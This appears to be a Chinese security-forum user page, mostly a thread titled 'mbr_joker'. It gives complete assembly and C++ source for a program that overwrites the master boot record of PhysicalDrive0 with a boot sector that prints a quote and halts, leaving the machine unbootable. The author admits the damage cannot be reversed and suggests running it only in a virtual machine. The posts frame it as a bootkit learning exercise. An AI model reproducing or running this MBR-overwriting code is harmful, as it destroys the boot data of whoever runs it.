|
|
|
[求助][求助]word里面禁止自动启用宏,为啥还会中word宏病毒
利用word程序漏洞的病毒不一定就是宏病毒吧,个人理解。 |
|
[原创]mbr_joker
哈哈哈~ |
|
[原创]mbr_joker
boot.asm: ORG 0x7c00 ;指明程序的装载地址 MOV SI,msg putloop: MOV AL,[SI] ADD SI,1 ; 往SI加1 CMP AL,0 JE fin MOV AH,0x0e ; 显示一个文字 MOV BX,15 ; 指定字符颜色 INT 0x10 ; 调用显卡BIOS JMP putloop fin: HLT ; 让CPU停止,等待指令 JMP fin ; 无限循环 msg: DB 0x0a, 0x0a ; 换行2次 DB " Stay hungry,stay foolish. --Steven Jobs " DB 0 TIMES 510-($-$$) db 0 ; DB 0x55, 0xaa 编译命令:nasm boot.asm -o boot.img //mbr_joker.cpp #include<stdio.h> #include<tchar.h> #include<windows.h> BYTE MbrCode[512] = { 0XBE, 0X18, 0X7C, 0X8A, 0X04, 0X83, 0XC6, 0X01, 0X3C, 0X00, 0X74, 0X09, 0XB4, 0X0E, 0XBB, 0X0F, 0X00, 0XCD, 0X10, 0XEB, 0XEE, 0XF4, 0XEB, 0XFD, 0X0A, 0X0A, 0X20, 0X20, 0X53, 0X74, 0X61, 0X79, 0X20, 0X68, 0X75, 0X6E, 0X67, 0X72, 0X79, 0X2C, 0X73, 0X74, 0X61, 0X79, 0X20, 0X66, 0X6F, 0X6F, 0X6C, 0X69, 0X73, 0X68, 0X2E, 0X20, 0X20, 0X2D, 0X2D, 0X53, 0X74, 0X65, 0X76, 0X65, 0X6E, 0X20, 0X4A, 0X6F, 0X62, 0X73}; BOOL WriteMbr(IN BYTE code[]) { HANDLE hDev = CreateFile(_T("\\\\.\\PhysicalDrive0"), GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if ( INVALID_HANDLE_VALUE == hDev) return FALSE; DWORD dwBytes = 0; WriteFile(hDev,code,512,&dwBytes,0); CloseHandle(hDev); return (512==dwBytes?TRUE:FALSE); } int main() { MbrCode[510] = 0x55; MbrCode[511] = 0xAA; BOOL bFlag = WriteMbr(MbrCode); printf( "%s\n",(bFlag==TRUE?"写入成功!":"写入失败!") ); return 0; } |
|
[原创]mbr_joker
mbr_joker 原理 电脑启动的第一步是把引导区代码(就是mbr在的那个扇区)放到内存的0x7c00处,然后跳转到内存0x7c00执行这段引导代码加载osloader,osloader再把操作系统加载起来。 因此,我的目标就是修改这段引导代码,让开机引导按照我的意思来。(没有特别的意义,纯粹是觉得好玩,所以称之为joker。也不是完全没有意义,写操作系统,bootkit等都需要关注这个内容,所以这里也可以算是简单的探索和学习。题外话,写mbr是不被杀软允许的。) 参考资料: 《自己动手写操作系统》,于渊 《30天自制操作系统》,川合秀实 (强烈推荐) |
|
[原创]mbr_joker
相关资料 关于读写mbrFor example, to open a handle to the logical drive A: with CreateFile, specify \\.\a:. Alternatively, you can use the names \\.\PhysicalDrive0, \\.\PhysicalDrive1, and so on, to open handles to the physical drives on a system. http://msdn.microsoft.com/en-us/library/aa363216.aspx msdn给的样例代码: http://msdn.microsoft.com/en-us/library/windows/desktop/aa363147(v=vs.85).aspx 说白了,“读写mbr”就是把"\\.\PhysicalDrive0"(一般的个人电脑就一个磁盘,即就一个mbr,所以0就是的了)当作普通文件CreateFile就可以了。 |
|
[原创]mbr_joker
不能恢复啊,恢复回来我怎么看到效果? |
|
|
|
[原创]mbr_joker
纯原创。后来在一前辈的指引下看过gh0st的KillMBR函数,不过这是发完帖子之后的事了。如果是你写mbr,你也会像我这样写。实际上我最初的写mbr的代码参考的是msdn上的。 现在上床了,用的手机回的帖子。改日把汇编部分代码,和详细制作流程贴出来让大家瞅瞅。 |
|
[原创]mbr_joker
会C语言不,这么言简意赅的代码被你说的一无是处,很不开心 |
|
[原创]mbr_joker
结果是啥,没人说下吗?好歹让我知道你们是否测试成啊。 |
|
[原创]mbr_joker
请在虚拟机中运行,且运行前要做好虚拟机快照。 |
|
|
|
[原创]mhook原理简单剖析
老大,求给转正啊 |
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值